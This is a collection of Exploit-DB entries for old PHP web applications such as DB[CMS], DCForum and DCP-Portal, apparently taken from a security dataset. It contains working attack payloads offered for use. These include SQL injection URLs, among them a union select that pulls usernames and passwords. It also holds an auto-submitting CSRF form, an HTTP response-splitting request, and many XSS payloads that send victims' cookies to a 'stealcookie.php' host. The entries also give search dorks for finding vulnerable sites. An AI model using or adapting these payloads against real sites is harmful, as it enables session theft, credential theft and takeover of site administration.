deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12666
Description: DB[CMS] - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-20
Author: blackraptor

Exploit:
DB[CMS] (article.php) SQL Injection Vulnerability
 
-------------------------------------------------------------------------------------------
 
Author: blackraptor
 
Mail: blackraptor@rocketmail.com
 
Script Home: http://www.debliteck.com/how.php
 
Dork: "Designed and Developed by Debliteck Ltd"
 
-------------------------------------------------------------------------------------------
 
Sql Injection:
 
http://localhost/[path]/article.php?id=59 union select 1--  (SQL)
Exploit-DB #12659
Description: DB[CMS] - 'section.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-19
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------
 
DB[CMS] (section.php) SQL Injection Vulnerability 
 
-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu@windowslive.com
 
Script Home: http://www.debliteck.com/how.php

Dork: "Designed and Developed by Debliteck Ltd"

-------------------------------------------------------------------------------------------
 
Sql Injection:
 
http://localhost/[path]/section.php?id=1  (SQL)

-------------------------------------------------------------------------------------------
Exploit-DB #12654
Description: DB[CMS] 2.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-18
Author: Pokeng

Exploit:
# Exploit Title: DB[CMS]  Sql Injection Vulnerability
# Author: Pokeng
# Software Link: http://www.debliteck.com/how.php

# Version: Ver2.01
# Platform / Tested on: Win/Linux
# category: webapps/0day
# Code : http://[site]/article.php?id=[SQL]
# Dork : "Designed and Developed by Debliteck Ltd"

//Now I'm Just Alone In The Dark T_T

//Very Thank's For My brother Who Always Give Me Support By The Good
Way = N4ck0 And Aury
Exploit-DB #5772
Description: DCFM Blog 0.9.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-10
Author: Unohope

Exploit:
  _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: DCFM Blog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/dcfm-blog/blog_files_0-9-4.zip

Mirror ======:: http://www.badongo.com/file/9630703

______________________
[SQL Injection]

- {comments.php} -

<form action="http://localhost/dcfmblog/comments.php" method="post">
  <input type="text" name="id" size=50 value="-99' union select 0,username,password from accounts where id=1/*">
  <input type="submit" value=" send ">
</form>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10]
Exploit-DB #38007
Description: DCForum - 'auth_user_file.txt' File Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-02
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/56383/info

DCForum is prone to multiple information-disclosure vulnerabilities.

Exploiting these issues may allow an attacker to obtain sensitive information that may aid in further attacks. 

http://www.example.com/cgi-bin/User_info/auth_user_file.txt
http://www.example.com/cgi-bin/dcforum/User_info/auth_user_file.txt
Exploit-DB #26844
Description: DCForum 1-6 DCBoard Script - 'Page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15885/info

DCForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/dcboard.php?az=show_topic&forum=46&topic_id=2215&mesg_id=2215&page=[XSS]
Exploit-DB #23008
Description: DCForum+ 1.2 - 'Subject' HTML Injection
Type: webapps
Platform: php
Date: 2003-08-11
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8384/info

DCForum+ is prone to an HTML injection vulnerability. An attacker may exploit this issue by including hostile HTML and script code in the subject field of posts to the bulletin board. This is because the script that processes posts does not sufficiently sanitize user input, allowing attackers to embed HTML and script commands within the post. This code may be rendered in the web browser of a user who views these areas of the site. This would occur in the security context of the site hosting DCForum+.

Your Name: Zone-h Security Team
Your Email: test@test.com
Your Subject: <script>alert(Zone-h)</script>
Your Message: Zone-h.org
Exploit-DB #27341
Description: DCI-Designs Dawaween 1.03 - 'Poems.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-02
Author: sherba

Exploit:
source: https://www.securityfocus.com/bid/16909/info

Dawaween is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploits could allow a remote attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Dawaween 1.03 is affected by this issue.

http://www.example.com/poems/poems.php?division=diwan&action=view&offset=25&id=[sql]
Exploit-DB #27313
Description: DCI-Taskeen 1.03 - 'basket.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-25
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/16828/info

DCI-Taskeen is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/basket.php?action=addex&id=[SQL]
http://www.example.com/basket.php?action=[SQL]
http://www.example.com/basket.php?action=addr&id=[SQL]
Exploit-DB #27314
Description: DCI-Taskeen 1.03 - 'cat.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-25
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/16828/info
 
DCI-Taskeen is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cat.php?do=cat&page=1&id=[SQL]
http://www.example/cat.php?do=cat&page=[SQL]
Exploit-DB #36627
Description: DClassifieds 0.1 final - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-01-25
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51671/info

DClassifieds is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

DClassifieds 0.1 final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">

<input type="hidden" name="Settings[setting_show_in_admin]" value="1">

<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #27077
Description: DCP Portal 5.3/6.0/6.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-13
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/16232/info

DCP Portal is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

For the cross-site scripting vulnerability, an attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

For the HTML injection vulnerability, ttacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/calendar.php?show=full_month&s=1&submit=GO&day=[XSS]

http://www.example.com/search.php post this code <script>alert('night_warrior');</script>
Exploit-DB #24661
Description: DCP-Portal 3.7/4.x/5.x - 'announcement.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11338/info
 
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
 
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
 
This may allow for theft of cookie-based authentication credentials and other attacks.
 
http://www.example.com/annoucement.php?aid=8&cid=[XSS code here]
Exploit-DB #24665
Description: DCP-Portal 3.7/4.x/5.x - 'calendar.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11340/info

DCP-Portal is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

POST /calendar.php?show=full_month HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

PHPSESSID=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScanned%20by%20PTsecurity%3c/html%3e%0d%0a&s=1&submit=1
Exploit-DB #24659
Description: DCP-Portal 3.7/4.x/5.x - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11338/info

DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.

Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.

This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/calendar.php?year=2004&month=[XSS code here]&day=01
http://www.example.com/calendar.php?year=2004&month=09&day=[XSS code here]
Exploit-DB #24663
Description: DCP-Portal 3.7/4.x/5.x - 'contents.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11338/info
  
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
  
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
  
This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/contents.php?cid=[XSS code here]
Exploit-DB #24660
Description: DCP-Portal 3.7/4.x/5.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11338/info
 
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
 
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
 
This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/index.php?page=annoucements&cid=[XSS code here]
Exploit-DB #24662
Description: DCP-Portal 3.7/4.x/5.x - 'news.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11338/info
 
DCP-Portal is reported prone to multiple cross-site scripting vulnerabilities. It is reported that DCP-Portal does not sufficiently filter URI parameters supplied to several scripts.
 
Because of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user if the link is followed. The script code contained in the URI parameter will be executed in the context of the vulnerable website.
 
This may allow for theft of cookie-based authentication credentials and other attacks.

http://www.example.com/news.php?nid=34&cid=[XSS code here]
Exploit-DB #24664
Description: DCP-Portal 3.7/4.x/5.x - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2004-10-06
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11339/info

DCP-Portal is reported prone to multiple HTML injection vulnerabilities. It is reported that DCP-Portal does not sufficiently filter data submitted via input fields in several scripts.

These vulnerabilities may permit execution of hostile script code when a user views pages that include the injected code. The hostile code would be rendered in the context of the site hosting the vulnerable software. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible since the attacker may influence how pages within the DCP-Portal are rendered to users.

POST /index.php?page=send_write HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

PHPSESSID=1&yname=1&yadd=1&fname=1&fadd=1&url=[XSS code here]


POST /register.php HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 137

PHPSESSID=1&sex=1&sex=1&name=1&surname=1&email=example@example.com&ad
dress=1&zip=1&city=1&country=[XSS code here]
Exploit-DB #27391
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info
 
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/calendar.php?subject_color="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/calendar.php?images="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/calendar.php?day=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 

<form action='http://www.example.com/dcp-portal611/calendar.php?show=full_month&month=02&day="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="text" name="year" value='2006' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/calendar.php?year=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
Exploit-DB #27392
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'forums.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info
  
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action='http://www.example.com/dcp-portal611/forums.php?action=board&bid=1' method="post">
<input type="text" name="bid" value='"></a><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/forums.php?action=board&bid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1&replying_msg=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 

<form action='http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1' method="post">
<input type="text" name="subject" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1' method="post">
<input type="text" name="body" value='">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/dcp-portal611/forums.php?action=addtopic&bid=1&mid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>

<form action='http://www.example.com/dcp-portal611/forums.php?action=savemsg' method="post">
<input type="text" name="bid" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27393
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'inbox.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info
   
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action='http://www.example.com/dcp-portal611/inbox.php?action=send' method="post">
<input type="text" name="subject" value='"><script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="text" name="message" value='' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=send' method="post">
<input type="text" name="message" value='">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"+document.cookie</script>' />
<input type="text" name="subject" value='' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=delete&subject="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="submit" name="submit" value='Reply'>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action='http://www.example.com/dcp-portal611/inbox.php?action=delete&message=">&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>' method="post">
<input type="submit" name="submit" value='Reply'>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27390
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info

DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/index.php?page=documents&dl=xyz&its_url=xyz.html"><script type="text/javascript">document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/index.php?page=send_write&url=xyz.html"><script type="text/javascript">document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>